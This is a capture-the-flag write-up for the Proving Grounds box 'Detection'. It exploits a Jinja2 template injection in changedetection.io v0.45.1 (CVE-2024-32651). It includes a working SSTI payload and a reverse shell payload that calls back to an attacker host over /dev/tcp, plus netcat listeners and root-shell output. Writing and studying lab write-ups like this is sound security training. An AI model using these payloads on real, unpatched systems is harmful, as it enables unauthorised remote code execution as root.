# Detection Writeup - Proving Grounds

> Easy Linux box running an unauthenticated changedetection.io v0.45.1, exploited through a Jinja2 server-side template injection in the notification body (CVE-2024-32651). The application runs as root, so the SSTI yields a direct root shell with no privilege escalation.

- **URL:** https://hackindex.io/writeups/detection
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** ssti, rce, changedetection, cve-2024-32651
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Detection hosts changedetection.io v0.45.1 on port 5000 with no authentication. The notification system renders Jinja2 templates without sandboxing, which allows server-side template injection in the notification body (CVE-2024-32651). The application runs as root, so the SSTI yields a direct root shell with no privilege escalation.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
# 5000/tcp open  http    Python http.server (changedetection.io)
```

SSH on 22 and a web application on 5000. Browsing to `http://$TARGET_IP:5000` reveals changedetection.io v0.45.1, an open-source web page change monitor, with no authentication enabled: any visitor has full admin access to watches, settings, and notifications.

## Exploitation

### Jinja2 SSTI via notification body (CVE-2024-32651)

changedetection.io renders notification body templates through Jinja2 `render_template_string()` without a sandbox. Point an existing watch at the application itself so it is reachable (external URLs fail, the box has no DNS), then inject an SSTI payload in the Notifications tab.

```bash
# Watch URL (self-referencing so it is fetchable)
http://127.0.0.1:5000
```

Set the notification body to a proof-of-concept payload.

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

Set the notification URL to a `json://` endpoint on the listener, start a listener, then click Recheck twice so the page content changes and the notification fires.

```bash
nc -lvnp $ATTACKER_PORT
# {
#   "title": "ChangeDetection.io Notification - http://127.0.0.1:5000",
#   "message": "uid=0(root) gid=0(root) groups=0(root)",
#   "type": "info"
# }
```

The rendered output returns `uid=0(root)`, confirming code execution as root. Swap the notification body for a reverse shell payload.

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"').read() }}
```

Start a fresh listener and trigger another recheck.

```bash
nc -lvnp $ATTACKER_PORT
# root@detection:/# id
# uid=0(root) gid=0(root) groups=0(root)
```

The application runs as root, so the SSTI gives a direct root shell. No privilege escalation is required.

Related

## References

- [CVE-2024-32651](https://nvd.nist.gov/vuln/detail/CVE-2024-32651) - changedetection.io server-side template injection in the notification body leading to remote code execution.
- [changedetection.io advisory](https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4r7m-qrwv-wrc8) - SSTI RCE via notification body, fixed in 0.45.20.
